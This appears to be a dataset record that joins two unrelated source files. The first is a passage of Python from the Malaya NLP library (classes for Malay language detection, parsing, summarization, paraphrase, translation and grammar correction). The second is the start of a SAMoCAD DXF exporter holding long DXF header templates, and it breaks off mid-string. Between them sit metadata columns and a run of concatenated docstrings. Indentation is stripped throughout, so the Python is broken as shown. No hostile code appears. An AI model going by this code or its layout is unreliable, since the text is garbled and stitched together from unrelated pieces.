PTB_TOKEN_ESCAPE,
merge_sentencepiece_tokens,
encode_pieces,
merge_sentencepiece_tokens_tagging,
)
from malaya.text import chart_decoder
from malaya.text.trees import tree_from_str
from malaya.function.activation import softmax
from malaya.model.abstract import Seq2Seq, Classification, T2T, Abstract
from herpetologist import check_type
from typing import List
def cleaning(string):
return re.sub(r'[ ]+', ' ', string).strip()
def _convert_sparse_matrix_to_sparse_tensor(X, got_limit = False, limit = 5):
coo = X.tocoo()
indices = np.array([coo.row, coo.col]).transpose()
if got_limit:
coo.data[coo.data > limit] = limit
return coo.shape, coo.col, indices, coo.shape, coo.data, indices
class DeepLang(Classification):
def __init__(
self, input_nodes, output_nodes, sess, vectorizer, bpe, type, label
):
self._input_nodes = input_nodes
self._output_nodes = output_nodes
self._sess = sess
self._vectorizer = vectorizer
self._bpe = bpe
self._type = type
self._label = label
def _classify(self, strings):
strings = [language_detection_textcleaning(i) for i in strings]
subs = [
' '.join(s)
for s in self._bpe.encode(strings, output_type = self._type)
]
transformed = self._vectorizer.transform(subs)
batch_x = _convert_sparse_matrix_to_sparse_tensor(transformed)
r = self._execute(
inputs = batch_x,
input_labels = [
'X_Placeholder/shape',
'X_Placeholder/values',
'X_Placeholder/indices',
'W_Placeholder/shape',
'W_Placeholder/values',
'W_Placeholder/indices',
],
output_labels = ['logits'],
)
probs = softmax(r['logits'], axis = -1)
return probs
@check_type
def predict(self, strings: List[str]):
"""
classify list of strings.
Parameters
----------
strings: List[str]
Returns
-------
result: List[str]
"""
probs = self._classify(strings)
dicts = []
probs = np.argmax(probs, 1)
for prob in probs:
dicts.append(self._label[prob])
return dicts
@check_type
def predict_proba(self, strings: List[str]):
"""
classify list of strings and return probability.
Parameters
----------
strings : List[str]
Returns
-------
result: List[dict[str, float]]
"""
probs = self._classify(strings)
dicts = []
for i in range(probs.shape[0]):
dicts.append({self._label[no]: k for no, k in enumerate(probs[i])})
return dicts
class Constituency(Abstract):
def __init__(
self, input_nodes, output_nodes, sess, tokenizer, dictionary, mode
):
self._input_nodes = input_nodes
self._output_nodes = output_nodes
self._sess = sess
self._tokenizer = tokenizer
self._LABEL_VOCAB = dictionary['label']
self._TAG_VOCAB = dictionary['tag']
self._mode = mode
def _parse(self, string):
s = string.split()
sentences = [s]
if self._mode == 'bert':
f = constituency_bert
elif self._mode == 'xlnet':
f = constituency_xlnet
else:
raise ValueError(
'mode not supported, only supported `bert` or `xlnet`'
)
i, m, tokens = f(self._tokenizer, sentences)
r = self._execute(
inputs = [i, m],
input_labels = ['input_ids', 'word_end_mask'],
output_labels = ['charts', 'tags'],
)
charts_val, tags_val = r['charts'], r['tags']
for snum, sentence in enumerate(sentences):
chart_size = len(sentence) + 1
chart = charts_val[snum, :chart_size, :chart_size, :]
return s, tags_val[0], chart_decoder.decode(chart)
@check_type
def vectorize(self, string: str):
"""
vectorize a string.
Parameters
----------
string: List[str]
Returns
-------
result: np.array
"""
s = string.split()
sentences = [s]
if self._mode == 'bert':
f = constituency_bert
elif self._mode == 'xlnet':
f = constituency_xlnet
else:
raise ValueError(
'mode not supported, only supported `bert` or `xlnet`'
)
i, m, tokens = f(self._tokenizer, sentences)
r = self._execute(
inputs = [i, m],
input_labels = ['input_ids', 'word_end_mask'],
output_labels = ['vectorizer'],
)
v = r['vectorizer']
if self._mode == 'bert':
v = v[0]
elif self._mode == 'xlnet':
v = v[:, 0]
return merge_sentencepiece_tokens(
list(zip(tokens[0], v[: len(tokens[0])])),
weighted = False,
vectorize = True,
model = self._mode,
)
@check_type
def parse_nltk_tree(self, string: str):
"""
Parse a string into NLTK Tree, to make it useful, make sure you already installed tktinker.
Parameters
----------
string : str
Returns
-------
result: nltk.Tree object
"""
try:
import nltk
from nltk import Tree
except:
raise ModuleNotFoundError(
'nltk not installed. Please install it and try again.'
)
sentence, tags, (score, p_i, p_j, p_label) = self._parse(string)
idx_cell = [-1]
def make_tree():
idx_cell[0] += 1
idx = idx_cell[0]
i, j, label_idx = p_i[idx], p_j[idx], p_label[idx]
label = self._LABEL_VOCAB[label_idx]
if (i + 1) >= j:
word = sentence[i]
tag = self._TAG_VOCAB[tags[i]]
tag = PTB_TOKEN_ESCAPE.get(tag, tag)
word = PTB_TOKEN_ESCAPE.get(word, word)
tree = Tree(tag, [word])
for sublabel in label[::-1]:
tree = Tree(sublabel, [tree])
return [tree]
else:
left_trees = make_tree()
right_trees = make_tree()
children = left_trees + right_trees
if label:
tree = Tree(label[-1], children)
for sublabel in reversed(label[:-1]):
tree = Tree(sublabel, [tree])
return [tree]
else:
return children
tree = make_tree()[0]
tree.score = score
return tree
@check_type
def parse_tree(self, string):
"""
Parse a string into string treebank format.
Parameters
----------
string : str
Returns
-------
result: malaya.text.trees.InternalTreebankNode class
"""
sentence, tags, (score, p_i, p_j, p_label) = self._parse(string)
idx_cell = [-1]
def make_str():
idx_cell[0] += 1
idx = idx_cell[0]
i, j, label_idx = p_i[idx], p_j[idx], p_label[idx]
label = self._LABEL_VOCAB[label_idx]
if (i + 1) >= j:
word = sentence[i]
tag = self._TAG_VOCAB[tags[i]]
tag = PTB_TOKEN_ESCAPE.get(tag, tag)
word = PTB_TOKEN_ESCAPE.get(word, word)
s = '({} {})'.format(tag, word)
else:
children = []
while (
(idx_cell[0] + 1) < len(p_i)
and i <= p_i[idx_cell[0] + 1]
and p_j[idx_cell[0] + 1] <= j
):
children.append(make_str())
s = ' '.join(children)
for sublabel in reversed(label):
s = '({} {})'.format(sublabel, s)
return s
return tree_from_str(make_str())
class Summarization(Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, tokenizer):
self._input_nodes = input_nodes
self._output_nodes = output_nodes
self._sess = sess
self._tokenizer = tokenizer
def _summarize(
self,
strings,
mode,
decoder = 'greedy',
top_p = 0.7,
postprocess = True,
**kwargs,
):
mode = mode.lower()
if mode not in ['ringkasan', 'tajuk']:
raise ValueError('mode only supports [`ringkasan`, `tajuk`]')
if not 0 < top_p < 1:
raise ValueError('top_p must be bigger than 0 and less than 1')
decoder = decoder.lower()
if decoder not in ['greedy', 'beam', 'nucleus']:
raise ValueError('mode only supports [`greedy`, `beam`, `nucleus`]')
strings_ = [f'{mode}: {cleaning(string)}' for string in strings]
batch_x = [self._tokenizer.encode(string) + [1] for string in strings_]
batch_x = padding_sequence(batch_x)
r = self._execute(
inputs = [batch_x, top_p],
input_labels = ['Placeholder', 'Placeholder_2'],
output_labels = [decoder],
)
p = r[decoder].tolist()
results = []
for no, r in enumerate(p):
summary = self._tokenizer.decode(r)
if postprocess and mode != 'tajuk':
summary = filter_rouge(strings[no], summary, **kwargs)
summary = postprocessing_summarization(summary)
summary = find_lapor_and_remove(strings[no], summary)
results.append(summary)
return results
def greedy_decoder(
self,
strings: List[str],
mode: str = 'ringkasan',
postprocess: bool = True,
**kwargs,
):
"""
Summarize strings using greedy decoder.
Parameters
----------
strings: List[str]
mode: str
mode for summarization. Allowed values:
* ``'ringkasan'`` - summarization for long sentence, eg, news summarization.
* ``'tajuk'`` - title summarization for long sentence, eg, news title.
postprocess: bool, optional (default=True)
If True, will filter sentence generated using ROUGE score and removed international news publisher.
Returns
-------
result: List[str]
"""
return self._summarize(
strings = strings,
mode = mode,
decoder = 'greedy',
top_p = 0.7,
postprocess = postprocess,
**kwargs,
)
def beam_decoder(
self,
strings: List[str],
mode: str = 'ringkasan',
postprocess: bool = True,
**kwargs,
):
"""
Summarize strings using beam decoder, beam width size 3, alpha 0.5 .
Parameters
----------
strings: List[str]
mode: str
mode for summarization. Allowed values:
* ``'ringkasan'`` - summarization for long sentence, eg, news summarization.
* ``'tajuk'`` - title summarization for long sentence, eg, news title.
postprocess: bool, optional (default=True)
If True, will filter sentence generated using ROUGE score and removed international news publisher.
Returns
-------
result: List[str]
"""
return self._summarize(
strings = strings,
mode = mode,
decoder = 'beam',
top_p = 0.7,
postprocess = postprocess,
**kwargs,
)
def nucleus_decoder(
self,
strings: List[str],
mode: str = 'ringkasan',
top_p: float = 0.7,
postprocess: bool = True,
**kwargs,
):
"""
Summarize strings using nucleus sampling.
Parameters
----------
strings: List[str]
mode: str
mode for summarization. Allowed values:
* ``'ringkasan'`` - summarization for long sentence, eg, news summarization.
* ``'tajuk'`` - title summarization for long sentence, eg, news title.
top_p: float, (default=0.7)
cumulative distribution and cut off as soon as the CDF exceeds `top_p`.
postprocess: bool, optional (default=True)
If True, will filter sentence generated using ROUGE score and removed international news publisher.
Returns
-------
result: List[str]
"""
return self._summarize(
strings = strings,
mode = mode,
decoder = 'nucleus',
top_p = top_p,
postprocess = postprocess,
**kwargs,
)
class Paraphrase(Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, tokenizer):
self._input_nodes = input_nodes
self._output_nodes = output_nodes
self._sess = sess
self._tokenizer = tokenizer
def _paraphrase(self, strings, decoder = 'greedy', top_p = 0.7):
if not 0 < top_p < 1:
raise ValueError('top_p must be bigger than 0 and less than 1')
decoder = decoder.lower()
if decoder not in ['greedy', 'beam', 'nucleus']:
raise ValueError('mode only supports [`greedy`, `beam`, `nucleus`]')
strings = [f'parafrasa: {cleaning(string)}' for string in strings]
batch_x = [self._tokenizer.encode(string) + [1] for string in strings]
batch_x = padding_sequence(batch_x)
r = self._execute(
inputs = [batch_x, top_p],
input_labels = ['Placeholder', 'Placeholder_2'],
output_labels = [decoder],
)
p = r[decoder].tolist()
results = [self._tokenizer.decode(r) for r in p]
return results
def greedy_decoder(self, strings: List[str], **kwargs):
"""
Paraphrase strings using greedy decoder.
Parameters
----------
strings: List[str]
Returns
-------
result: List[str]
"""
return self._paraphrase(
strings = strings, decoder = 'greedy', top_p = 0.7, **kwargs
)
def beam_decoder(self, strings: List[str], **kwargs):
"""
Paraphrase strings using beam decoder, beam width size 3, alpha 0.5 .
Parameters
----------
strings: List[str]
Returns
-------
result: List[str]
"""
return self._paraphrase(
strings = strings, decoder = 'beam', top_p = 0.7, **kwargs
)
def nucleus_decoder(self, strings: List[str], top_p: float = 0.7, **kwargs):
"""
Paraphrase strings using nucleus sampling.
Parameters
----------
strings: List[str]
top_p: float, (default=0.7)
cumulative distribution and cut off as soon as the CDF exceeds `top_p`.
Returns
-------
result: List[str]
"""
return self._paraphrase(
strings = strings, decoder = 'nucleus', top_p = top_p, **kwargs
)
class Translation(T2T, Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, encoder):
T2T.__init__(
self,
input_nodes = input_nodes,
output_nodes = output_nodes,
sess = sess,
encoder = encoder,
translation_model = True,
)
def greedy_decoder(self, strings: List[str]):
"""
translate list of strings.
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._greedy_decoder(strings)
def beam_decoder(self, strings: List[str]):
"""
translate list of strings using beam decoder, beam width size 3, alpha 0.5 .
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._beam_decoder(strings)
class TrueCase(T2T, Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, encoder):
T2T.__init__(
self,
input_nodes = input_nodes,
output_nodes = output_nodes,
sess = sess,
encoder = encoder,
)
@check_type
def greedy_decoder(self, strings: List[str]):
"""
True case strings using greedy decoder.
Example, "saya nak makan di us makanan di sana sedap" -> "Saya nak makan di US, makanan di sana sedap."
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._greedy_decoder(strings)
@check_type
def beam_decoder(self, strings: List[str]):
"""
True case strings using beam decoder, beam width size 3, alpha 0.5 .
Example, "saya nak makan di us makanan di sana sedap" -> "Saya nak makan di US, makanan di sana sedap."
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._beam_decoder(strings)
class Segmentation(T2T, Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, encoder):
T2T.__init__(
self,
input_nodes = input_nodes,
output_nodes = output_nodes,
sess = sess,
encoder = encoder,
)
@check_type
def greedy_decoder(self, strings: List[str]):
"""
Segment strings using greedy decoder.
Example, "sayasygkan negarasaya" -> "saya sygkan negara saya"
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._greedy_decoder(strings)
@check_type
def beam_decoder(self, strings: List[str]):
"""
Segment strings using beam decoder, beam width size 3, alpha 0.5 .
Example, "sayasygkan negarasaya" -> "saya sygkan negara saya"
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._beam_decoder(strings)
class Tatabahasa(Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, tokenizer):
self._input_nodes = input_nodes
self._output_nodes = output_nodes
self._sess = sess
self._tokenizer = tokenizer
def _predict(self, strings):
sequences = [
encode_pieces(
self._tokenizer.sp,
string,
return_unicode = False,
sample = False,
)
for string in strings
]
batch_x = [self._tokenizer.encode(string) + [1] for string in strings]
batch_x = padding_sequence(batch_x)
r = self._execute(
inputs = [batch_x],
input_labels = ['x_placeholder'],
output_labels = ['greedy', 'tag_greedy'],
)
p, tag = r['greedy'], r['tag_greedy']
results = []
nonzero = (p != 0).sum(axis = -1)
for i in range(len(p)):
r = self._tokenizer.decode(p[i].tolist())
t = tag[i, : nonzero[i]]
s = encode_pieces(
self._tokenizer.sp, r, return_unicode = False, sample = False
)
merged = merge_sentencepiece_tokens_tagging(
s + ['<cls>'], t, model = 'xlnet'
)
results.append(list(zip(merged[0], merged[1])))
return results
@check_type
def greedy_decoder(self, strings: List[str]):
"""
Fix kesalahan tatatabahasa.
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._predict(strings)
| en | 0.331189 | classify list of strings. Parameters ---------- strings: List[str] Returns ------- result: List[str] classify list of strings and return probability. Parameters ---------- strings : List[str] Returns ------- result: List[dict[str, float]] vectorize a string. Parameters ---------- string: List[str] Returns ------- result: np.array Parse a string into NLTK Tree, to make it useful, make sure you already installed tktinker. Parameters ---------- string : str Returns ------- result: nltk.Tree object Parse a string into string treebank format. Parameters ---------- string : str Returns ------- result: malaya.text.trees.InternalTreebankNode class Summarize strings using greedy decoder. Parameters ---------- strings: List[str] mode: str mode for summarization. Allowed values: * ``'ringkasan'`` - summarization for long sentence, eg, news summarization. * ``'tajuk'`` - title summarization for long sentence, eg, news title. postprocess: bool, optional (default=True) If True, will filter sentence generated using ROUGE score and removed international news publisher. Returns ------- result: List[str] Summarize strings using beam decoder, beam width size 3, alpha 0.5 . Parameters ---------- strings: List[str] mode: str mode for summarization. Allowed values: * ``'ringkasan'`` - summarization for long sentence, eg, news summarization. * ``'tajuk'`` - title summarization for long sentence, eg, news title. postprocess: bool, optional (default=True) If True, will filter sentence generated using ROUGE score and removed international news publisher. Returns ------- result: List[str] Summarize strings using nucleus sampling. Parameters ---------- strings: List[str] mode: str mode for summarization. Allowed values: * ``'ringkasan'`` - summarization for long sentence, eg, news summarization. * ``'tajuk'`` - title summarization for long sentence, eg, news title. top_p: float, (default=0.7) cumulative distribution and cut off as soon as the CDF exceeds `top_p`. postprocess: bool, optional (default=True) If True, will filter sentence generated using ROUGE score and removed international news publisher. Returns ------- result: List[str] Paraphrase strings using greedy decoder. Parameters ---------- strings: List[str] Returns ------- result: List[str] Paraphrase strings using beam decoder, beam width size 3, alpha 0.5 . Parameters ---------- strings: List[str] Returns ------- result: List[str] Paraphrase strings using nucleus sampling. Parameters ---------- strings: List[str] top_p: float, (default=0.7) cumulative distribution and cut off as soon as the CDF exceeds `top_p`. Returns ------- result: List[str] translate list of strings. Parameters ---------- strings : List[str] Returns ------- result: List[str] translate list of strings using beam decoder, beam width size 3, alpha 0.5 . Parameters ---------- strings : List[str] Returns ------- result: List[str] True case strings using greedy decoder. Example, "saya nak makan di us makanan di sana sedap" -> "Saya nak makan di US, makanan di sana sedap." Parameters ---------- strings : List[str] Returns ------- result: List[str] True case strings using beam decoder, beam width size 3, alpha 0.5 . Example, "saya nak makan di us makanan di sana sedap" -> "Saya nak makan di US, makanan di sana sedap." Parameters ---------- strings : List[str] Returns ------- result: List[str] Segment strings using greedy decoder. Example, "sayasygkan negarasaya" -> "saya sygkan negara saya" Parameters ---------- strings : List[str] Returns ------- result: List[str] Segment strings using beam decoder, beam width size 3, alpha 0.5 . Example, "sayasygkan negarasaya" -> "saya sygkan negara saya" Parameters ---------- strings : List[str] Returns ------- result: List[str] Fix kesalahan tatatabahasa. Parameters ---------- strings : List[str] Returns ------- result: List[str] | 2.203673 | 2 |
src/to_dxf.py | praga2018/SAMoCAD | 5 | 6616194 | <gh_stars>1-10
# -*- coding: utf-8; -*-
from save_file import saver
from math import pi
from copy import copy
import codecs
class Dxfer(saver):
def __init__(self, parent):
saver.__init__(self, parent)
self.handle = 'BA'
self._OBLIQUE = False
def hand():
self.handle = format(int(self.handle,16) + 1, '02x').upper()
if self.handle in ('BD', '105'):
self.handle = format(int(self.handle,16) + 1, '02x').upper()
self.HENDLE_CLASS_LAYERS = """ 0
SECTION
2
HEADER
9
$ACADVER
1
AC1015
9
$ACADMAINTVER
70
6
9
$DWGCODEPAGE
3
ANSI_1251
9
$INSBASE
10
0.0
20
0.0
30
0.0
9
$EXTMIN
10
1.000000000000000E+20
20
1.000000000000000E+20
30
1.000000000000000E+20
9
$EXTMAX
10
-1.000000000000000E+20
20
-1.000000000000000E+20
30
-1.000000000000000E+20
9
$LIMMIN
10
0.0
20
0.0
9
$LIMMAX
10
420.0
20
297.0
9
$ORTHOMODE
70
0
9
$REGENMODE
70
1
9
$FILLMODE
70
1
9
$QTEXTMODE
70
0
9
$MIRRTEXT
70
0
9
$LTSCALE
40
1.0
9
$ATTMODE
70
1
9
$TEXTSIZE
40
350.0
9
$TRACEWID
40
1.0
9
$TEXTSTYLE
7
Standard
9
$CLAYER
8
0
9
$CELTYPE
6
ByLayer
9
$CECOLOR
62
256
9
$CELTSCALE
40
1.0
9
$DISPSILH
70
0
9
$DIMSCALE
40
1.0
9
$DIMASZ
40
200.0
9
$DIMEXO
40
2.0
9
$DIMDLI
40
100.0
9
$DIMRND
40
0.0
9
$DIMDLE
40
0.0
9
$DIMEXE
40
200.0
9
$DIMTP
40
0.0
9
$DIMTM
40
0.0
9
$DIMTXT
40
350.0
9
$DIMCEN
40
2.5
9
$DIMTSZ
40
0.0
9
$DIMTOL
70
0
9
$DIMLIM
70
0
9
$DIMTIH
70
0
9
$DIMTOH
70
0
9
$DIMSE1
70
0
9
$DIMSE2
70
0
9
$DIMTAD
70
1
9
$DIMZIN
70
8
9
$DIMBLK
1
9
$DIMASO
70
1
9
$DIMSHO
70
1
9
$DIMPOST
1
9
$DIMAPOST
1
9
$DIMALT
70
0
9
$DIMALTD
70
3
9
$DIMALTF
40
0.03937007874016
9
$DIMLFAC
40
1.0
9
$DIMTOFL
70
1
9
$DIMTVP
40
0.0
9
$DIMTIX
70
0
9
$DIMSOXD
70
0
9
$DIMSAH
70
0
9
$DIMBLK1
1
9
$DIMBLK2
1
9
$DIMSTYLE
2
ISO-25
9
$DIMCLRD
70
0
9
$DIMCLRE
70
0
9
$DIMCLRT
70
0
9
$DIMTFAC
40
1.0
9
$DIMGAP
40
100.0
9
$DIMJUST
70
0
9
$DIMSD1
70
0
9
$DIMSD2
70
0
9
$DIMTOLJ
70
0
9
$DIMTZIN
70
8
9
$DIMALTZ
70
0
9
$DIMALTTZ
70
0
9
$DIMUPT
70
0
9
$DIMDEC
70
0
9
$DIMTDEC
70
2
9
$DIMALTU
70
2
9
$DIMALTTD
70
3
9
$DIMTXSTY
7
Standard
9
$DIMAUNIT
70
0
9
$DIMADEC
70
0
9
$DIMALTRND
40
0.0
9
$DIMAZIN
70
0
9
$DIMDSEP
70
46
9
$DIMATFIT
70
3
9
$DIMFRAC
70
0
9
$DIMLDRBLK
1
9
$DIMLUNIT
70
2
9
$DIMLWD
70
-2
9
$DIMLWE
70
-2
9
$DIMTMOVE
70
0
9
$LUNITS
70
2
9
$LUPREC
70
3
9
$SKETCHINC
40
1.0
9
$FILLETRAD
40
10.0
9
$AUNITS
70
0
9
$AUPREC
70
0
9
$MENU
1
.
9
$ELEVATION
40
0.0
9
$PELEVATION
40
0.0
9
$THICKNESS
40
0.0
9
$LIMCHECK
70
0
9
$CHAMFERA
40
10.0
9
$CHAMFERB
40
10.0
9
$CHAMFERC
40
20.0
9
$CHAMFERD
40
0.0
9
$SKPOLY
70
0
9
$TDCREATE
40
2455022.887359514
9
$TDUCREATE
40
2455022.637359514
9
$TDUPDATE
40
2456833.780451389
9
$TDUUPDATE
40
2456833.530451389
9
$TDINDWG
40
0.0
9
$TDUSRTIMER
40
2456833.52087963
9
$USRTIMER
70
1
9
$ANGBASE
50
0.0
9
$ANGDIR
70
0
9
$PDMODE
70
0
9
$PDSIZE
40
0.0
9
$PLINEWID
40
0.0
9
$SPLFRAME
70
0
9
$SPLINETYPE
70
6
9
$SPLINESEGS
70
8
9
$HANDSEED
5
MY_HANDSEED
9
$SURFTAB1
70
6
9
$SURFTAB2
70
6
9
$SURFTYPE
70
6
9
$SURFU
70
6
9
$SURFV
70
6
9
$UCSBASE
2
9
$UCSNAME
2
9
$UCSORG
10
0.0
20
0.0
30
0.0
9
$UCSXDIR
10
1.0
20
0.0
30
0.0
9
$UCSYDIR
10
0.0
20
1.0
30
0.0
9
$UCSORTHOREF
2
9
$UCSORTHOVIEW
70
0
9
$UCSORGTOP
10
0.0
20
0.0
30
0.0
9
$UCSORGBOTTOM
10
0.0
20
0.0
30
0.0
9
$UCSORGLEFT
10
0.0
20
0.0
30
0.0
9
$UCSORGRIGHT
10
0.0
20
0.0
30
0.0
9
$UCSORGFRONT
10
0.0
20
0.0
30
0.0
9
$UCSORGBACK
10
0.0
20
0.0
30
0.0
9
$PUCSBASE
2
9
$PUCSNAME
2
9
$PUCSORG
10
0.0
20
0.0
30
0.0
9
$PUCSXDIR
10
1.0
20
0.0
30
0.0
9
$PUCSYDIR
10
0.0
20
1.0
30
0.0
9
$PUCSORTHOREF
2
9
$PUCSORTHOVIEW
70
0
9
$PUCSORGTOP
10
0.0
20
0.0
30
0.0
9
$PUCSORGBOTTOM
10
0.0
20
0.0
30
0.0
9
$PUCSORGLEFT
10
0.0
20
0.0
30
0.0
9
$PUCSORGRIGHT
10
0.0
20
0.0
30
0.0
9
$PUCSORGFRONT
10
0.0
20
0.0
30
0.0
9
$PUCSORGBACK
10
0.0
20
0.0
30
0.0
9
$USERI1
70
0
9
$USERI2
70
0
9
$USERI3
70
0
9
$USERI4
70
0
9
$USERI5
70
0
9
$USERR1
40
0.0
9
$USERR2
40
0.0
9
$USERR3
40
0.0
9
$USERR4
40
0.0
9
$USERR5
40
0.0
9
$WORLDVIEW
70
1
9
$SHADEDGE
70
3
9
$SHADEDIF
70
70
9
$TILEMODE
70
1
9
$MAXACTVP
70
64
9
$PINSBASE
10
0.0
20
0.0
30
0.0
9
$PLIMCHECK
70
0
9
$PEXTMIN
10
1.000000000000000E+20
20
1.000000000000000E+20
30
1.000000000000000E+20
9
$PEXTMAX
10
-1.000000000000000E+20
20
-1.000000000000000E+20
30
-1.000000000000000E+20
9
$PLIMMIN
10
0.0
20
0.0
9
$PLIMMAX
10
0.0
20
0.0
9
$UNITMODE
70
0
9
$VISRETAIN
70
1
9
$PLINEGEN
70
0
9
$PSLTSCALE
70
1
9
$TREEDEPTH
70
3020
9
$CMLSTYLE
2
Standard
9
$CMLJUST
70
0
9
$CMLSCALE
40
20.0
9
$PROXYGRAPHICS
70
1
9
$MEASUREMENT
70
1
9
$CELWEIGHT
370
-1
9
$ENDCAPS
280
0
9
$JOINSTYLE
280
0
9
$LWDISPLAY
290
0
9
$INSUNITS
70
4
9
$HYPERLINKBASE
1
9
$STYLESHEET
1
9
$XEDIT
290
1
9
$CEPSNTYPE
380
0
9
$PSTYLEMODE
290
1
9
$FINGERPRINTGUID
2
{EC6BB858-51AA-46EC-B484-6C9CC7AB3E2E}
9
$VERSIONGUID
2
{FAEB1C32-E019-11D5-929B-00C0DF256EC4}
9
$EXTNAMES
290
1
9
$PSVPSCALE
40
0.0
9
$OLESTARTUP
290
0
0
ENDSEC
0
SECTION
2
CLASSES
0
CLASS
1
ACDBDICTIONARYWDFLT
2
AcDbDictionaryWithDefault
3
ObjectDBX Classes
90
0
280
0
281
0
0
CLASS
1
VISUALSTYLE
2
AcDbVisualStyle
3
ObjectDBX Classes
90
4095
280
0
281
0
0
CLASS
1
TABLESTYLE
2
AcDbTableStyle
3
ObjectDBX Classes
90
4095
280
0
281
0
0
CLASS
1
DICTIONARYVAR
2
AcDbDictionaryVar
3
ObjectDBX Classes
90
0
280
0
281
0
0
CLASS
1
SCALE
2
AcDbScale
3
ObjectDBX Classes
90
1153
280
0
281
0
0
CLASS
1
CELLSTYLEMAP
2
AcDbCellStyleMap
3
ObjectDBX Classes
90
1152
280
0
281
0
0
CLASS
1
RASTERVARIABLES
2
AcDbRasterVariables
3
ISM
90
0
280
0
281
0
0
CLASS
1
MATERIAL
2
AcDbMaterial
3
ObjectDBX Classes
90
1153
280
0
281
0
0
CLASS
1
SUN
2
AcDbSun
3
SCENEOE
90
1153
280
0
281
0
0
CLASS
1
ACDBPLACEHOLDER
2
AcDbPlaceHolder
3
ObjectDBX Classes
90
0
280
0
281
0
0
CLASS
1
LAYOUT
2
AcDbLayout
3
ObjectDBX Classes
90
0
280
0
281
0
0
ENDSEC
0
SECTION
2
TABLES
0
TABLE
2
VPORT
5
8
330
0
100
AcDbSymbolTable
70
1
0
VPORT
5
29
330
8
100
AcDbSymbolTableRecord
100
AcDbViewportTableRecord
2
*Active
70
0
10
0.0
20
0.0
11
1.0
21
1.0
12
4567.945342688919
22
-290.378497865131
13
0.0
23
0.0
14
10.0
24
10.0
15
10.0
25
10.0
16
0.0
26
0.0
36
1.0
17
-134.1869158878508
27
0.0
37
0.0
40
8758.433978073293
41
1.871915393654524
42
50.0
43
0.0
44
0.0
50
0.0
51
0.0
71
16
72
1000
73
1
74
3
75
0
76
0
77
0
78
0
281
0
65
1
110
0.0
120
0.0
130
0.0
111
1.0
121
0.0
131
0.0
112
0.0
122
1.0
132
0.0
79
0
146
0.0
0
ENDTAB
0
TABLE
2
LTYPE
5
5
330
0
100
AcDbSymbolTable
70
4
0
LTYPE
5
14
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
ByBlock
70
0
3
72
65
73
0
40
0.0
0
LTYPE
5
15
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
ByLayer
70
0
3
72
65
73
0
40
0.0
0
LTYPE
5
16
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
Continuous
70
0
3
Solid line
72
65
73
0
40
0.0
0
LTYPE
5
B7
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
CENTER
70
0
3
Center _____ _ _____ _ _____ _ _____ _
72
65
73
4
40
50.8
49
31.75
74
0
49
-6.35
74
0
49
6.35
74
0
49
-6.35
74
0
0
LTYPE
5
B8
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
DASHED
70
0
3
Dashed __ __ __ __ __ __ __ __ __ __
72
65
73
2
40
19.05
49
12.7
74
0
49
-6.35
74
0
0
LTYPE
5
B9
330
5
100
AcDbSymbolTableRecord
100
AcDbLinetypeTableRecord
2
PHANTOM
70
0
3
Phantom _____ _ _ _____ _ _ _____ _ _
72
65
73
6
40
63.50000000000001
49
31.75
74
0
49
-6.35
74
0
49
6.35
74
0
49
-6.35
74
0
49
6.35
74
0
49
-6.35
74
0
0
ENDTAB
0
TABLE
2
LAYER
5
2
330
0
100
AcDbSymbolTable
70
2
0
LAYER
5
10
330
2
100
AcDbSymbolTableRecord
100
AcDbLayerTableRecord
2
0
70
0
62
7
6
Continuous
370
-3
390
F
0
LAYER
5
BA
330
2
100
AcDbSymbolTableRecord
100
AcDbLayerTableRecord
2
Defpoints
70
0
62
7
6
Continuous
290
0
370
-3
390
F
0"""
self.write_list.append(self.HENDLE_CLASS_LAYERS)#1
self.STYLES = """ENDTAB
0
TABLE
2
STYLE
5
3
330
0
100
AcDbSymbolTable
70
1
0
STYLE
5
11
330
3
100
AcDbSymbolTableRecord
100
AcDbTextStyleTableRecord
2
Standard
70
0
40
0.0
41
0.7
50
0.0
71
0
42
350
3
txt
4
0
ENDTAB
0
TABLE
2
VIEW
5
6
330
0
100
AcDbSymbolTable
70
0
0
ENDTAB
0
TABLE
2
UCS
5
7
330
0
100
AcDbSymbolTable
70
0
0
ENDTAB
0
TABLE
2
APPID
5
9
330
0
100
AcDbSymbolTable
70
1
0
APPID
5
12
330
9
100
AcDbSymbolTableRecord
100
AcDbRegAppTableRecord
2
ACAD
70
0
0
ENDTAB
0
TABLE
2
DIMSTYLE
5
A
330
0
100
AcDbSymbolTable
70
1
100
AcDbDimStyleTable
0
DIMSTYLE
105
27"""
self.write_list.append(self.STYLES)#2
self.ACAD_REACTORS = """102
{ACAD_REACTORS
MY_REACTORS
102
}"""
self.write_list.append(self.ACAD_REACTORS)#3
self.BLOCK_RECORDS = """330
A
100
AcDbSymbolTableRecord
100
AcDbDimStyleTableRecord
2
ISO-25
70
0
41
200.0
42
100.0
43
100.0
44
100.0
46
100.0
73
0
74
0
77
1
78
8
140
350.0
141
2.5
143
0.03937007874016
147
50.0
171
3
172
1
178
0
271
0
272
2
274
3
278
44
283
0
284
8
340
11
0
ENDTAB
0
TABLE
2
BLOCK_RECORD
5
1
330
0
100
AcDbSymbolTable
70
3
0
BLOCK_RECORD
5
1F
330
1
100
AcDbSymbolTableRecord
100
AcDbBlockTableRecord
2
*Model_Space
340
22
0
BLOCK_RECORD
5
1B
330
1
100
AcDbSymbolTableRecord
100
AcDbBlockTableRecord
2
*Paper_Space
340
1E
0
BLOCK_RECORD
5
23
330
1
100
AcDbSymbolTableRecord
100
AcDbBlockTableRecord
2
*Paper_Space0
340
26
0"""
